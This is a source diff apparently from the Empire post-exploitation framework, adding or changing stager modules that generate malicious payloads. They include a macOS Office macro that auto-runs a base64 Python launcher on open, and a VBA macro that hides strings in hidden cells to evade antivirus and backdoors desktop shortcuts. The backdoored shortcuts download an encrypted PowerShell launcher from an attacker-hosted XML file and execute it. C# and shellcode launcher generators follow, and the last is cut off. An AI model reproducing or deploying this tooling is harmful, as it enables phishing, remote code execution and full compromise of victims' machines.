raise TypeError('Invalid version provided. Accepts "new" and "old"')
|
||||||
|
|
||||||
# generate the launcher code
|
# generate the python launcher code
|
||||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks)
|
pylauncher = self.mainMenu.stagers.generate_launcher(listenerName, language="python", encode=True, userAgent=userAgent, safeChecks=safeChecks)
|
||||||
|
|
||||||
if launcher == "":
|
if pylauncher == "":
|
||||||
print helpers.color("[!] Error in launcher command generation.")
|
print helpers.color("[!] Error in python launcher command generation.")
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
else:
|
# render python launcher into python payload
|
||||||
launcher = launcher.replace("\"", "\"\"")
|
pylauncher = pylauncher.replace("\"", "\"\"")
|
||||||
for match in re.findall(r"'(.*?)'", launcher, re.DOTALL):
|
for match in re.findall(r"'(.*?)'", pylauncher, re.DOTALL):
|
||||||
payload = formStr("cmd", match)
|
payload = formStr("cmd", match)
|
||||||
|
|
||||||
macro = """
|
if version == "old":
|
||||||
Private Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
|
macro = """
|
||||||
|
#If VBA7 Then
|
||||||
|
Private Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long
|
||||||
|
#Else
|
||||||
|
Private Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
|
||||||
|
#End If
|
||||||
|
|
||||||
|
Sub Auto_Open()
|
||||||
|
'MsgBox("Auto_Open()")
|
||||||
|
Debugging
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub Document_Open()
|
||||||
|
'MsgBox("Document_Open()")
|
||||||
|
Debugging
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Public Function Debugging() As Variant
|
||||||
|
On Error Resume Next
|
||||||
|
#If Mac Then
|
||||||
|
Dim result As Long
|
||||||
|
Dim cmd As String
|
||||||
|
%s
|
||||||
|
'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
|
||||||
|
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
|
||||||
|
#End If
|
||||||
|
End Function""" %(payload)
|
||||||
|
elif version == "new":
|
||||||
|
macro = """
|
||||||
|
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) as LongPtr
|
||||||
|
|
||||||
|
Sub Auto_Open()
|
||||||
|
'MsgBox("Auto_Open()")
|
||||||
|
Debugging
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub Document_Open()
|
||||||
|
'MsgBox("Document_Open()")
|
||||||
|
Debugging
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Public Function Debugging() As Variant
|
||||||
|
On Error Resume Next
|
||||||
|
#If Mac Then
|
||||||
|
Dim result As LongPtr
|
||||||
|
Dim cmd As String
|
||||||
|
%s
|
||||||
|
'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
|
||||||
|
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &", "r")
|
||||||
|
#End If
|
||||||
|
End Function""" % (payload)
|
||||||
|
else:
|
||||||
|
raise ValueError('Invalid version provided. Accepts "new" and "old"')
|
||||||
|
|
||||||
Private Sub Workbook_Open()
|
return macro
|
||||||
Dim result As Long
|
|
||||||
Dim cmd As String
|
|
||||||
%s
|
|
||||||
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
|
|
||||||
End Sub
|
|
||||||
""" %(payload)
|
|
||||||
|
|
||||||
return macro
|
|
||||||
|
|
|
@ -0,0 +1,260 @@
|
||||||
|
import random, string, xlrd, datetime
|
||||||
|
from xlutils.copy import copy
|
||||||
|
from xlwt import Workbook, Utils
|
||||||
|
from lib.common import helpers
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
|
||||||
|
class Stager:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'BackdoorLnkMacro',
|
||||||
|
|
||||||
|
'Author': ['@G0ldenGunSec'],
|
||||||
|
|
||||||
|
'Description': ('Generates a macro that backdoors .lnk files on the users desktop, backdoored lnk files in turn attempt to download & execute an empire launcher when the user clicks on them. Usage: Three files will be spawned from this, an xls document (either new or containing existing contents) that data will be placed into, a macro that should be placed in the spawned xls document, and an xml that should be placed on a web server accessible by the remote system (as defined during stager generation). By default this xml is written to /var/www/html, which is the webroot on debian-based systems such as kali.'),
|
||||||
|
|
||||||
|
'Comments': ['Two-stage macro attack vector used for bypassing tools that perform monitor parent processes and flag / block process launches from unexpected programs, such as office. The initial run of the macro is vbscript and spawns no child processes, instead it backdoors targeted shortcuts on the users desktop to do a direct run of powershell next time they are clicked. The second step occurs when the user clicks on the shortcut, the powershell download stub that runs will attempt to download & execute an empire launcher from an xml file hosted on a pre-defined webserver, which will in turn grant a full shell. Credits to @harmJ0y and @enigma0x3 for designing the macro stager that this was originally based on, @subTee for research pertaining to the xml.xmldocument cradle, and @curi0usJack for info on using cell embeds to evade AV.']
|
||||||
|
}
|
||||||
|
#random name our xml will default to in stager options
|
||||||
|
xmlVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(5,9)))
|
||||||
|
|
||||||
|
# any options needed by the stager, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Listener' : {
|
||||||
|
'Description' : 'Listener to generate stager for.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Language' : {
|
||||||
|
'Description' : 'Language of the launcher to generate.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'powershell'
|
||||||
|
},
|
||||||
|
'TargetEXEs' : {
|
||||||
|
'Description' : 'Will backdoor .lnk files pointing to selected executables (do not include .exe extension), enter a comma seperated list of target exe names - ex. iexplore,firefox,chrome',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'iexplore,firefox,chrome'
|
||||||
|
},
|
||||||
|
'XmlUrl' : {
|
||||||
|
'Description' : 'remotely-accessible URL to access the XML containing launcher code. Please try and keep this URL short, as it must fit in the given 1024 chars for args along with all other logic - default options typically allow for 100-200 chars of extra space, depending on targeted exe',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : "http://" + helpers.lhost() + "/"+xmlVar+".xml"
|
||||||
|
},
|
||||||
|
'XlsOutFile' : {
|
||||||
|
'Description' : 'XLS (incompatible with xlsx/xlsm) file to output stager payload to. If document does not exist / cannot be found a new file will be created',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '/tmp/default.xls'
|
||||||
|
},
|
||||||
|
'OutFile' : {
|
||||||
|
'Description' : 'File to output macro to, otherwise displayed on the screen.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : '/tmp/macro'
|
||||||
|
},
|
||||||
|
'XmlOutFile' : {
|
||||||
|
'Description' : 'Local path + file to output xml to.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '/var/www/html/'+xmlVar+'.xml'
|
||||||
|
},
|
||||||
|
'KillDate' : {
|
||||||
|
'Description' : 'Date after which the initial powershell stub will no longer attempt to download and execute code, set this for the end of your campaign / engagement. Format mm/dd/yyyy',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : datetime.datetime.now().strftime("%m/%d/%Y")
|
||||||
|
},
|
||||||
|
'UserAgent' : {
|
||||||
|
'Description' : 'User-agent string to use for the staging request (default, none, or other) (2nd stage).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'Proxy' : {
|
||||||
|
'Description' : 'Proxy to use for request (default, none, or other) (2nd stage).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'StagerRetries' : {
|
||||||
|
'Description' : 'Times for the stager to retry connecting (2nd stage).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : '0'
|
||||||
|
},
|
||||||
|
'ProxyCreds' : {
|
||||||
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other) (2nd stage).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
#function to convert row + col coords into excel cells (ex. 30,40 -> AE40)
|
||||||
|
@staticmethod
|
||||||
|
def coordsToCell(row,col):
|
||||||
|
coords = ""
|
||||||
|
if((col) // 26 > 0):
|
||||||
|
coords = coords + chr(((col)//26)+64)
|
||||||
|
if((col + 1) % 26 > 0):
|
||||||
|
coords = coords + chr(((col + 1) % 26)+64)
|
||||||
|
else:
|
||||||
|
coords = coords + 'Z'
|
||||||
|
coords = coords + str(row+1)
|
||||||
|
return coords
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
# extract all of our options
|
||||||
|
language = self.options['Language']['Value']
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
userAgent = self.options['UserAgent']['Value']
|
||||||
|
proxy = self.options['Proxy']['Value']
|
||||||
|
proxyCreds = self.options['ProxyCreds']['Value']
|
||||||
|
stagerRetries = self.options['StagerRetries']['Value']
|
||||||
|
targetEXE = self.options['TargetEXEs']['Value']
|
||||||
|
xlsOut = self.options['XlsOutFile']['Value']
|
||||||
|
XmlPath = self.options['XmlUrl']['Value']
|
||||||
|
XmlOut = self.options['XmlOutFile']['Value']
|
||||||
|
#catching common ways date is incorrectly entered
|
||||||
|
killDate = self.options['KillDate']['Value'].replace('\\','/').replace(' ','').split('/')
|
||||||
|
if(int(killDate[2]) < 100):
|
||||||
|
killDate[2] = int(killDate[2]) + 2000
|
||||||
|
targetEXE = targetEXE.split(',')
|
||||||
|
targetEXE = filter(None,targetEXE)
|
||||||
|
|
||||||
|
#set vars to random alphabetical / alphanumeric values
|
||||||
|
shellVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
|
||||||
|
lnkVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
|
||||||
|
fsoVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
|
||||||
|
folderVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
|
||||||
|
fileVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
|
||||||
|
encKey = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase + string.digits + string.punctuation, random.randint(16,16)))
|
||||||
|
#avoiding potential escape characters in our decryption key for the second stage payload
|
||||||
|
for ch in ["\"","'","`"]:
|
||||||
|
if ch in encKey:
|
||||||
|
encKey = encKey.replace(ch,random.choice(string.ascii_lowercase))
|
||||||
|
encIV = random.randint(1,240)
|
||||||
|
|
||||||
|
# generate the launcher
|
||||||
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
|
||||||
|
launcher = launcher.replace("\"","'")
|
||||||
|
|
||||||
|
if launcher == "":
|
||||||
|
print helpers.color("[!] Error in launcher command generation.")
|
||||||
|
return ""
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
reader = xlrd.open_workbook(xlsOut)
|
||||||
|
workBook = copy(reader)
|
||||||
|
activeSheet = workBook.get_sheet(0)
|
||||||
|
except (IOError, OSError):
|
||||||
|
workBook = Workbook()
|
||||||
|
activeSheet = workBook.add_sheet('Sheet1')
|
||||||
|
|
||||||
|
#sets initial coords for writing data to
|
||||||
|
inputRow = random.randint(50,70)
|
||||||
|
inputCol = random.randint(40,60)
|
||||||
|
|
||||||
|
#build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro
|
||||||
|
macro = "Sub Auto_Close()\n"
|
||||||
|
|
||||||
|
activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("Wscript.shell"))
|
||||||
|
macro += "Set " + shellVar + " = CreateObject(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)\n"
|
||||||
|
inputCol = inputCol + random.randint(1,4)
|
||||||
|
|
||||||
|
activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("Scripting.FileSystemObject"))
|
||||||
|
macro += "Set "+ fsoVar + " = CreateObject(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)\n"
|
||||||
|
inputCol = inputCol + random.randint(1,4)
|
||||||
|
|
||||||
|
activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("desktop"))
|
||||||
|
macro += "Set " + folderVar + " = " + fsoVar + ".GetFolder(" + shellVar + ".SpecialFolders(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value))\n"
|
||||||
|
macro += "For Each " + fileVar + " In " + folderVar + ".Files\n"
|
||||||
|
|
||||||
|
macro += "If(InStr(Lcase(" + fileVar + "), \".lnk\")) Then\n"
|
||||||
|
macro += "Set " + lnkVar + " = " + shellVar + ".CreateShortcut(" + shellVar + ".SPecialFolders(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value) & \"\\\" & " + fileVar + ".name)\n"
|
||||||
|
inputCol = inputCol + random.randint(1,4)
|
||||||
|
|
||||||
|
macro += "If("
|
||||||
|
for i, item in enumerate(targetEXE):
|
||||||
|
if i:
|
||||||
|
macro += (' or ')
|
||||||
|
activeSheet.write(inputRow,inputCol,targetEXE[i].strip().lower()+".")
|
||||||
|
macro += "InStr(Lcase(" + lnkVar + ".targetPath), activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)"
|
||||||
|
inputCol = inputCol + random.randint(1,4)
|
||||||
|
macro += ") Then\n"
|
||||||
|
#launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop. After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process. This code is then executed to gain a full agent on the remote system.
|
||||||
|
launchString1 = "hidden -nop -c \"Start(\'"
|
||||||
|
launchString2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U "
|
||||||
|
launchString3 = ") -le " + str(killDate[2]) + str(killDate[0]) + str(killDate[1]) + "){$b.Load(\'"
|
||||||
|
launchString4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(encIV) + ".." + str(encIV + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('"
|
||||||
|
launchString5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\""
|
||||||
|
|
||||||
|
#part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it
|
||||||
|
macro += lnkVar + ".IconLocation = " + lnkVar + ".targetpath\n"
|
||||||
|
launchString1 = helpers.randomize_capitalization(launchString1)
|
||||||
|
launchString2 = helpers.randomize_capitalization(launchString2)
|
||||||
|
launchString3 = helpers.randomize_capitalization(launchString3)
|
||||||
|
launchString4 = helpers.randomize_capitalization(launchString4)
|
||||||
|
launchString5 = helpers.randomize_capitalization(launchString5)
|
||||||
|
launchStringSum = launchString2 + "'%Y%m%d'" + launchString3 + XmlPath + launchString4 + encKey + launchString5
|
||||||
|
|
||||||
|
activeSheet.write(inputRow,inputCol,launchString1)
|
||||||
|
launch1Coords = self.coordsToCell(inputRow,inputCol)
|
||||||
|
inputCol = inputCol + random.randint(1,4)
|
||||||
|
activeSheet.write(inputRow,inputCol,launchStringSum)
|
||||||
|
launchSumCoords = self.coordsToCell(inputRow,inputCol)
|
||||||
|
inputCol = inputCol + random.randint(1,4)
|
||||||
|
|
||||||
|
macro += lnkVar + ".arguments = \"-w \" & activeSheet.Range(\""+ launch1Coords +"\").Value & " + lnkVar + ".targetPath" + " & \"'\" & activeSheet.Range(\""+ launchSumCoords +"\").Value" + "\n"
|
||||||
|
|
||||||
|
activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization(":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"))
|
||||||
|
macro += lnkVar + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value\n"
|
||||||
|
inputCol = inputCol + random.randint(1,4)
|
||||||
|
#macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors
|
||||||
|
macro += "if(Len(" + lnkVar + ".arguments) < 1023) Then\n"
|
||||||
|
macro += lnkVar + ".save\n"
|
||||||
|
macro += "end if\n"
|
||||||
|
macro += "end if\n"
|
||||||
|
macro += "end if\n"
|
||||||
|
macro += "next " + fileVar + "\n"
|
||||||
|
macro += "End Sub\n"
|
||||||
|
activeSheet.row(inputRow).hidden = True
|
||||||
|
print helpers.color("\nWriting xls...\n", color="blue")
|
||||||
|
workBook.save(xlsOut)
|
||||||
|
print helpers.color("xls written to " + xlsOut + " please remember to add macro code to xls prior to use\n\n", color="green")
|
||||||
|
|
||||||
|
|
||||||
|
#encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut
|
||||||
|
ivBuf = ""
|
||||||
|
for z in range(0,16):
|
||||||
|
ivBuf = ivBuf + chr(encIV + z)
|
||||||
|
encryptor = AES.new(unicode(encKey, "utf-8"), AES.MODE_CBC, ivBuf)
|
||||||
|
launcher = unicode(launcher,"utf-8")
|
||||||
|
#pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space
|
||||||
|
padding = 16-(len(launcher) % 16)
|
||||||
|
if padding == 0:
|
||||||
|
launcher = launcher + ('\x00'*16)
|
||||||
|
else:
|
||||||
|
launcher = launcher + (chr(padding)*padding)
|
||||||
|
|
||||||
|
cipher_text = encryptor.encrypt(launcher)
|
||||||
|
cipher_text = helpers.encode_base64(ivBuf+cipher_text)
|
||||||
|
|
||||||
|
#write XML to disk
|
||||||
|
print helpers.color("Writing xml...\n", color="blue")
|
||||||
|
fileWrite = open(XmlOut,"w")
|
||||||
|
fileWrite.write("<?xml version=\"1.0\"?>\n")
|
||||||
|
fileWrite.write("<main>")
|
||||||
|
fileWrite.write(cipher_text)
|
||||||
|
fileWrite.write("</main>\n")
|
||||||
|
fileWrite.close()
|
||||||
|
print helpers.color("xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n", color="green")
|
||||||
|
|
||||||
|
return macro
|
|
@ -0,0 +1,132 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
import shutil
|
||||||
|
|
||||||
|
class Stager:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'C# PowerShell Launcher',
|
||||||
|
|
||||||
|
'Author': ['@elitest'],
|
||||||
|
|
||||||
|
'Description': ('Generate a PowerShell C# solution with embedded stager code that compiles to an exe'),
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'Based on the work of @bneg'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the stager, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Listener' : {
|
||||||
|
'Description' : 'Listener to generate stager for.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Language' : {
|
||||||
|
'Description' : 'Language of the stager to generate.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'powershell'
|
||||||
|
},
|
||||||
|
'Listener' : {
|
||||||
|
'Description' : 'Listener to use.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'StagerRetries' : {
|
||||||
|
'Description' : 'Times for the stager to retry connecting.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : '0'
|
||||||
|
},
|
||||||
|
'UserAgent' : {
|
||||||
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'Proxy' : {
|
||||||
|
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'ProxyCreds' : {
|
||||||
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'OutFile' : {
|
||||||
|
'Description' : 'File to output zip to.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '/tmp/launcher.src'
|
||||||
|
},
|
||||||
|
'Obfuscate' : {
|
||||||
|
'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'False'
|
||||||
|
},
|
||||||
|
'ObfuscateCommand' : {
|
||||||
|
'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : r'Token\All\1'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
|
||||||
|
# staging options
|
||||||
|
language = self.options['Language']['Value']
|
||||||
|
userAgent = self.options['UserAgent']['Value']
|
||||||
|
proxy = self.options['Proxy']['Value']
|
||||||
|
proxyCreds = self.options['ProxyCreds']['Value']
|
||||||
|
stagerRetries = self.options['StagerRetries']['Value']
|
||||||
|
obfuscate = self.options['Obfuscate']['Value']
|
||||||
|
obfuscateCommand = self.options['ObfuscateCommand']['Value']
|
||||||
|
outfile = self.options['OutFile']['Value']
|
||||||
|
|
||||||
|
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||||
|
# not a valid listener, return nothing for the script
|
||||||
|
print helpers.color("[!] Invalid listener: " + listenerName)
|
||||||
|
return ""
|
||||||
|
else:
|
||||||
|
obfuscateScript = False
|
||||||
|
if obfuscate.lower() == "true":
|
||||||
|
obfuscateScript = True
|
||||||
|
|
||||||
|
if obfuscateScript and "launcher" in obfuscateCommand.lower():
|
||||||
|
print helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the C# stager.")
|
||||||
|
return ""
|
||||||
|
# generate the PowerShell one-liner with all of the proper options set
|
||||||
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
|
||||||
|
|
||||||
|
if launcher == "":
|
||||||
|
print helpers.color("[!] Error in launcher generation.")
|
||||||
|
return ""
|
||||||
|
else:
|
||||||
|
launcherCode = launcher.split(" ")[-1]
|
||||||
|
|
||||||
|
directory = self.mainMenu.installPath + "/data/misc/cSharpTemplateResources/cmd/"
|
||||||
|
destdirectory = "/tmp/cmd/"
|
||||||
|
|
||||||
|
shutil.copytree(directory,destdirectory)
|
||||||
|
|
||||||
|
lines = open(destdirectory + 'cmd/Program.cs').read().splitlines()
|
||||||
|
lines[19] = "\t\t\tstring stager = \"" + launcherCode + "\";"
|
||||||
|
open(destdirectory + 'cmd/Program.cs','w').write('\n'.join(lines))
|
||||||
|
shutil.make_archive(outfile,'zip',destdirectory)
|
||||||
|
shutil.rmtree(destdirectory)
|
||||||
|
return outfile
|
|
@ -0,0 +1,122 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Stager:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Shellcode Launcher',
|
||||||
|
|
||||||
|
'Author': ['@xorrior', '@monogas'],
|
||||||
|
|
||||||
|
'Description': ('Generate a windows shellcode stager'),
|
||||||
|
|
||||||
|
'Commemts': [
|
||||||
|
''
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
self.options = {
|
||||||
|
'Listener' : {
|
||||||
|
'Description' : 'Listener to generate stager for.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Language' : {
|
||||||
|
'Description' : 'Language of the stager to generate.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'powershell'
|
||||||
|
},
|
||||||
|
'Arch' : {
|
||||||
|
'Description' : 'Architecture of the .dll to generate (x64 or x86).',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'x64'
|
||||||
|
},
|
||||||
|
'StagerRetries' : {
|
||||||
|
'Description' : 'Times for the stager to retry connecting.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : '0'
|
||||||
|
},
|
||||||
|
'UserAgent' : {
|
||||||
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'Proxy' : {
|
||||||
|
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'ProxyCreds' : {
|
||||||
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'OutFile' : {
|
||||||
|
'Description' : 'File to output dll to.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '/tmp/launcher.bin'
|
||||||
|
},
|
||||||
|
'Obfuscate' : {
|
||||||
|
'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'False'
|
||||||
|
},
|
||||||
|
'ObfuscateCommand' : {
|
||||||
|
'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : r'Token\All\1'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
arch = self.options['Arch']['Value']
|
||||||
|
|
||||||
|
# staging options
|
||||||
|
language = self.options['Language']['Value']
|
||||||
|
userAgent = self.options['UserAgent']['Value']
|
||||||
|
proxy = self.options['Proxy']['Value']
|
||||||
|
proxyCreds = self.options['ProxyCreds']['Value']
|
||||||
|
stagerRetries = self.options['StagerRetries']['Value']
|
||||||
|
obfuscate = self.options['Obfuscate']['Value']
|
||||||
|
obfuscateCommand = self.options['ObfuscateCommand']['Value']
|
||||||
|
|
||||||
|
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||||
|
# not a valid listener, return nothing for the script
|
||||||
|
print helpers.color("[!] Invalid listener: " + listenerName)
|
||||||
|
return ""
|
||||||
|
else:
|
||||||
|
|
||||||
|
if obfuscate.lower() == "true":
|
||||||
|
obfuscateScript = True
|
||||||
|
else:
|
||||||
|
obfuscateScript = False
|
||||||
|
|
||||||
|
if obfuscate.lower() == "true" and "launcher" in obfuscateCommand.lower():
|
||||||
|
print helpers.color("[!] if using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager.")
|
||||||
|
return ""
|
||||||
|
|
||||||
|
# generate the PowerShell one-liner with all of the proper options are set
|
||||||
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
|
||||||
|
|
||||||
|
if launcher == "":
|
||||||
|
print helpers.color("[!] Error in launcher generation.")
|
||||||
|
return ""
|
||||||
|
else:
|
||||||
|
launcherCode = launcher.split(" ")[-1]
|
||||||
|
|
